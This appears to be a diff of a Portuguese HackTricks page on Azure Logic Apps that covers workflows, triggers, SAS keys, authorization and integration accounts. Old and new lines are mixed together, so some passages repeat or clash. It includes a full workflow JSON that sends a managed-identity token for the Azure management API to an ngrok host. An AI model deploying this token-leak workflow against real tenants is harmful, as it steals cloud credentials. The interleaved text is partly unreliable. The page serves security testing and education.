Um **fluxo de trabalho** é uma sequência estruturada de etapas ou tarefas automatizadas que executam um processo ou objetivo específico. Ele define como diferentes ações, condições e decisões interagem para alcançar um resultado desejado, otimizando operações e reduzindo o esforço manual.
|
||||
|
||||
Um **workflow** é uma sequência estruturada de etapas ou tarefas automatizadas que executam um processo ou objetivo específico. Ele define como diferentes ações, condições e decisões interagem para alcançar um resultado desejado, otimizando operações e reduzindo o esforço manual. Workflows podem integrar múltiplos sistemas, acionar eventos e regras, garantindo consistência e eficiência nos processos.
|
||||
> [!TIP]
|
||||
> O plano de Consumo permite **criar um único fluxo de trabalho sem a necessidade de um Logic App** em si.
|
||||
|
||||
Azure Logic apps oferece a funcionalidade de **criar um único workflow sem a necessidade de um Logic App** em si.
|
||||
### Gatilhos & Ações
|
||||
|
||||
Cada workflow tem diferentes **gatilhos**. Esses gatilhos são os passos que o workflow segue. Cada gatilho tem seus parâmetros que podem variar dependendo do tipo do gatilho:
|
||||
- Nome da conexão
|
||||
- **Tipo de Autenticação** que pode ser, Chave de Acesso, Microsoft Entra ID, autenticação de principal de serviço integrado e Identidade Gerenciada do Logic Apps.
|
||||
Os gatilhos do fluxo de trabalho indicam **quando o fluxo de trabalho deve começar**. Os gatilhos podem ser um endpoint HTTP, um cronograma ou dezenas de eventos diferentes do Azure ou até mesmo de aplicativos externos.
|
||||
|
||||
Os gatilhos também têm várias configurações:
|
||||
- Validação de Esquema: Garante que os dados recebidos sigam uma estrutura predefinida.
|
||||
- Controle de Concorrência: Limita o número de execuções paralelas.
|
||||
- Condições de Gatilho: condições que devem ser atendidas antes que o gatilho seja acionado.
|
||||
- Rede: Configura o tamanho do bloco para transferência de dados e permite suprimir cabeçalhos de workflow nas respostas.
|
||||
- **Segurança**: Habilita **Entradas/Saídas Seguras para ocultar** dados sensíveis em logs e nas saídas.
|
||||
Cada fluxo de trabalho tem diferentes **ações**. Essas ações são os passos que o fluxo de trabalho segue. Dependendo da ação, diferentes parâmetros estarão disponíveis para configurá-la, como:
|
||||
|
||||
**Configurações & Conexões de API:**
|
||||
- **Nome da Conexão**: Conexão a ser usada com a qual a ação interagirá.
|
||||
- **Tipo de Autenticação:** As diferentes opções são Chave de Acesso, Microsoft Entra ID, autenticação de principal de serviço integrado e Identidade Gerenciada do Logic Apps.
|
||||
- De uma perspectiva de Somente Leitura, os dados de **Autenticação** são sempre interessantes, pois podem conter informações sensíveis.
|
||||
- De uma perspectiva de Escrita, os dados de **Autenticação** são sempre interessantes, pois podem permitir o uso das permissões das identidades gerenciadas atribuídas.
|
||||
- ...
|
||||
|
||||
Um workflow tem diferentes configurações, como:
|
||||
- Endereços IP de entrada permitidos: Esta configuração permite restringir quem pode acionar ou iniciar seu Logic App. As opções são Qualquer IP, Apenas outros Logic Apps e Faixas de IP específicas.
|
||||
- Conta de integração: Aqui, você pode vincular seu Logic App a uma Conta de Integração.
|
||||
- Alta capacidade: Esta configuração permite que seu Logic App lide com mais solicitações rapidamente.
|
||||
- Retenção do histórico de execução: por quanto tempo o histórico das execuções do seu Logic App é mantido.
|
||||
As ações também têm várias **configurações**, que dependem da própria ação. Algumas das configurações mais comuns são:
|
||||
|
||||
Você pode ver as diferentes conexões de API que o workflow possui. Dentro de cada uma dessas conexões, elas têm diferentes propriedades e a possibilidade de editar a conexão de API, onde o tipo de autenticação pode ser alterado.
|
||||
- **Política de Retentativa**: Configura o número de tentativas e o intervalo entre elas.
|
||||
- **Tempo Limite**: Define o tempo máximo que a ação pode ser executada antes de expirar.
|
||||
- **Executar Após**: Especifica as condições que devem ser atendidas antes que a ação seja executada.
|
||||
- **Validação de Esquema**: Garante que os dados recebidos sigam uma estrutura predefinida.
|
||||
- **Rede**: Configura como gerenciar diferentes cabeçalhos.
|
||||
- **Entradas/Saídas Seguras**: Isso ocultará dados de entrada/saída do histórico de execução.
|
||||
- ...
|
||||
|
||||
**Histórico & Versões:**
|
||||
Tem a opção de acessar o **histórico** das diferentes execuções, mostrando Configurações, Saída, Parâmetros e o Código.
|
||||
### Políticas de Autorização
|
||||
|
||||
Também tem a opção de acessar diferentes **versões** do workflow, onde você pode verificar o código e alterar o workflow atual por uma versão anterior dele.
|
||||
|
||||
**Autorização:**
|
||||
Azure Logic Apps suportam **políticas de autorização** com Entra ID para proteger gatilhos baseados em solicitações, exigindo um token de acesso válido. Este token deve incluir reivindicações específicas:
|
||||
Esses fluxos de trabalho suportam **políticas de autorização** com Entra ID para proteger gatilhos baseados em solicitações, exigindo um token de acesso válido. Este token deve incluir reivindicações específicas:
|
||||
- Emissor (iss) para verificar o provedor de identidade
|
||||
- Público (aud) para garantir que o token é destinado ao Logic App
|
||||
- Assunto (sub) para identificar o chamador
|
||||
- ID do JWT (identificador do Token Web JSON)
|
||||
- ID do JWT (identificador do JSON Web Token)
|
||||
- Reivindicação Personalizada
|
||||
|
||||
Quando uma solicitação é recebida, Logic Apps valida o token contra essas reivindicações e permite a execução apenas se corresponder à política configurada. Isso pode ser usado para permitir que outro inquilino acione o workflow ou negar o acionamento de outras fontes, por exemplo, permitindo o acionamento apenas se vier de https://login.microsoftonline.com/.
|
||||
Quando uma solicitação é recebida, o Logic Apps valida o token em relação a essas reivindicações e permite a execução apenas se corresponder à política configurada. Isso pode ser usado para permitir que outro locatário acione o fluxo de trabalho ou negar o acionamento de outras fontes, por exemplo, permitindo o acionamento apenas se vier de https://login.microsoftonline.com/.
|
||||
|
||||
**Chaves de Acesso:**
|
||||
Quando você salva um gatilho baseado em solicitações pela primeira vez, Logic Apps cria automaticamente um endpoint exclusivo com uma assinatura SAS (criada a partir da Chave de Acesso) que concede permissão para chamar o workflow. Esta assinatura SAS está embutida na URL do gatilho. Esta chave pode ser regenerada e dará uma nova assinatura SAS, mas as chaves não podem ser listadas.
|
||||
### Chaves de Acesso
|
||||
|
||||
A URL para invocá-lo com a Chave de Acesso:
|
||||
Os fluxos de trabalho **geram 2 chaves de acesso** quando são criados. Essas chaves são usadas para autenticar e autorizar solicitações ao fluxo de trabalho. As chaves são usadas para gerar um token de Assinatura de Acesso Compartilhado (SAS), que é incluído na URL da solicitação.
|
||||
|
||||
Assim, quando um gatilho de endpoint HTTP é criado, um **endpoint HTTP exclusivo com uma assinatura SAS** que concede permissão para chamar o fluxo de trabalho é gerado.
|
||||
|
||||
Essas **chaves podem ser regeneradas** e uma nova URL SAS será criada para esses gatilhos, mas os **valores das chaves não podem ser acessados**.
|
||||
|
||||
Exemplo de uma URL SAS para invocar um gatilho:
|
||||
```
|
||||
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
|
||||
```
|
||||
### Configurações e Componentes do Fluxo de Trabalho
|
||||
|
||||
- **Opção de acesso ao gatilho**: Esta configuração permite restringir quem pode acionar ou iniciar seu fluxo de trabalho. As opções são Qualquer IP, Apenas outro fluxo de trabalho e Faixas de IP específicas.
|
||||
- **Conta de integração**: Vincule seu fluxo de trabalho a uma Conta de Integração.
|
||||
- **Alta capacidade de processamento**: Se ativado, permite lidar com mais solicitações em paralelo rapidamente.
|
||||
- **Retenção do histórico de execuções**: Isso indica o número de dias para manter o histórico de execuções.
|
||||
- **Conexões de API**: Isso mostra as diferentes conexões de API que o fluxo de trabalho possui. Dentro de cada uma dessas conexões, existem diferentes propriedades e a possibilidade de editar a conexão de API onde o tipo de Autenticação pode ser alterado.
|
||||
- **Histórico**: Tem a opção de acessar o **histórico** de execuções antigas e obter dados: Configurações, Saída, Parâmetros e o Código.
|
||||
- **Versões**: Tem a opção de acessar diferentes **versões** do fluxo de trabalho, onde você pode verificar o código e alterar o fluxo de trabalho atual por uma versão anterior dele.
|
||||
- **Identidades Gerenciadas**: É possível atribuir 1 identidade gerenciada pelo sistema e uma identidade gerenciada pelo usuário ao fluxo de trabalho.
|
||||
|
||||
### Vazamento de tokens de acesso MI
|
||||
|
||||
A ação HTTP em um fluxo de trabalho pode ser usada para enviar dados para uma web externa. Nos **Parâmetros Avançados** da ação HTTP, é possível configurar o **Tipo de Autenticação** como **`Identidade gerenciada`** e, em seguida, selecionar a **Identidade Gerenciada atribuída** a ser usada (sistema ou usuário).
|
||||
|
||||
Além disso, é possível indicar no **`Público`** o público do JWT gerado, que poderia ser, por exemplo, **`https://management.azure.com/`** para poder usar o token gerado para acessar a API de gerenciamento do Azure.
|
||||
|
||||
> [!WARNING]
|
||||
> Fazer a ação enviar a solicitação HTTP para um servidor controlado por um atacante pode **vazar o token de acesso da identidade gerenciada** atribuída ao fluxo de trabalho.
|
||||
|
||||
> [!TIP]
|
||||
> Um atacante também poderia usar outros tipos de ações para **acessar diretamente outros serviços do Azure** e realizar ações com as permissões da identidade gerenciada.
|
||||
|
||||
Este é o código de um fluxo de trabalho que expõe um endpoint HTTP e, em seguida, usa uma ação HTTP para vazar o token de acesso para a URL configurada (ngrok neste caso):
|
||||
|
||||
<details>
|
||||
<summary>Código do fluxo de trabalho</summary>
|
||||
```json
|
||||
{
|
||||
"definition": {
|
||||
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
|
||||
"contentVersion": "1.0.0.0",
|
||||
"triggers": {
|
||||
"When_a_HTTP_request_is_received": {
|
||||
"type": "Request",
|
||||
"kind": "Http"
|
||||
}
|
||||
},
|
||||
"actions": {
|
||||
"HTTP": {
|
||||
"runAfter": {},
|
||||
"type": "Http",
|
||||
"inputs": {
|
||||
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
|
||||
"method": "GET",
|
||||
"authentication": {
|
||||
"type": "ManagedServiceIdentity",
|
||||
"audience": "https://management.azure.com/"
|
||||
}
|
||||
},
|
||||
"runtimeConfiguration": {
|
||||
"contentTransfer": {
|
||||
"transferMode": "Chunked"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"outputs": {},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"defaultValue": {}
|
||||
}
|
||||
}
|
||||
},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"value": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
## Logic Apps / Plano Padrão
|
||||
|
||||
### Diferenças com Workflows "Únicos"
|
||||
|
||||
As logic apps basicamente usam um App Service em segundo plano para **hospedar a logic app que pode hospedar vários workflows**. Isso significa que a logic app terá todos os recursos de um App Service e dos Workflows "Únicos".
|
||||
|
||||
Alguns recursos chave seriam:
|
||||
|
||||
- **Plano de App Service**: Logic Apps no plano padrão são hospedadas em um Plano de App Service, então é possível usar todos os recursos do App Service, como:
|
||||
- **Restrições de Rede**: Indicar de onde é acessível.
|
||||
- **Centro de Implantação**: Implantar de plataformas externas como Github, Bitbucket, Azure Repos, Git Externo e Git Local.
|
||||
- **Acesso FTP**: É possível acessar os arquivos da Logic App através de FTP.
|
||||
- **Conta de Armazenamento**: O aplicativo de serviço usa uma conta de armazenamento para armazenar informações.
|
||||
- **Variáveis de Ambiente & Configurações de App**: É possível configurar variáveis de ambiente e configurações de app (e encontrar informações sensíveis como chaves de acesso à conta de armazenamento).
|
||||
- ...
|
||||
- **Parâmetros**: Parâmetros permitem gerenciar valores que variam entre desenvolvimento, teste e produção. Isso permite que você projete workflows primeiro e, em seguida, ajuste facilmente as configurações específicas do ambiente mais tarde.
|
||||
- **Recursos Dedicados**: Logic Apps no plano padrão têm recursos dedicados.
|
||||
- **Múltiplos Workflows**: Permite criar múltiplos workflows.
|
||||
|
||||
Para mais informações sobre App Services, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Enumeração
|
||||
|
||||
@@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Contas de Integração
|
||||
## Contas de Integração
|
||||
**Contas de Integração** são um recurso do Azure Logic Apps. As Contas de Integração são usadas para facilitar integrações em nível empresarial, permitindo capacidades avançadas de B2B, como EDI, AS2 e gerenciamento de esquemas XML. As Contas de Integração são um contêiner no Azure que armazena os seguintes artefatos usados para Logic Apps:
|
||||
|
||||
* Esquemas: Gerenciar esquemas XML para validar e processar mensagens em sua conta de integração.
|
||||
* Mapas: Configurar transformações baseadas em XSLT para converter formatos de dados dentro de seus fluxos de trabalho de integração.
|
||||
* Assemblies: Gerenciar assemblies da conta de integração para otimizar a lógica e o processamento de dados.
|
||||
* Certificados: Lidar com certificados para criptografar e assinar mensagens, garantindo comunicação segura.
|
||||
* Parceiros: Gerenciar informações de parceiros comerciais para transações B2B, permitindo integrações sem costura.
|
||||
* Acordos: Configurar regras e configurações para troca de dados com parceiros comerciais (por exemplo, EDI, AS2).
|
||||
* Configurações de Lote: Gerenciar configurações de processamento em lote para agrupar e processar mensagens de forma eficiente.
|
||||
* RosettaNet PIP: Configurar Processos de Interface de Parceiro RosettaNet (PIPs) para padronizar a comunicação B2B.
|
||||
* **Esquemas**: Gerenciar esquemas XML para validar e processar mensagens em sua conta de integração.
|
||||
* **Mapas**: Configurar transformações baseadas em XSLT para converter formatos de dados dentro de seus fluxos de trabalho de integração.
|
||||
* **Assemblies**: Gerenciar assemblies da conta de integração para otimizar a lógica e o processamento de dados.
|
||||
* **Certificados**: Lidar com certificados para criptografar e assinar mensagens, garantindo comunicação segura.
|
||||
* **Parceiros**: Gerenciar informações de parceiros comerciais para transações B2B, permitindo integrações sem costura.
|
||||
* **Acordos**: Configurar regras e configurações para troca de dados com parceiros comerciais (por exemplo, EDI, AS2).
|
||||
* **Configurações de Lote**: Gerenciar configurações de processamento em lote para agrupar e processar mensagens de forma eficiente.
|
||||
* **RosettaNet PIP**: Configurar Processos de Interface de Parceiro RosettaNet (PIPs) para padronizar a comunicação B2B.
|
||||
|
||||
#### Enumeração
|
||||
|
||||
@@ -329,4 +405,10 @@ Mesma coisa que a escalação de privilégios de aplicativos lógicos:
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistência
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-logic-apps-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user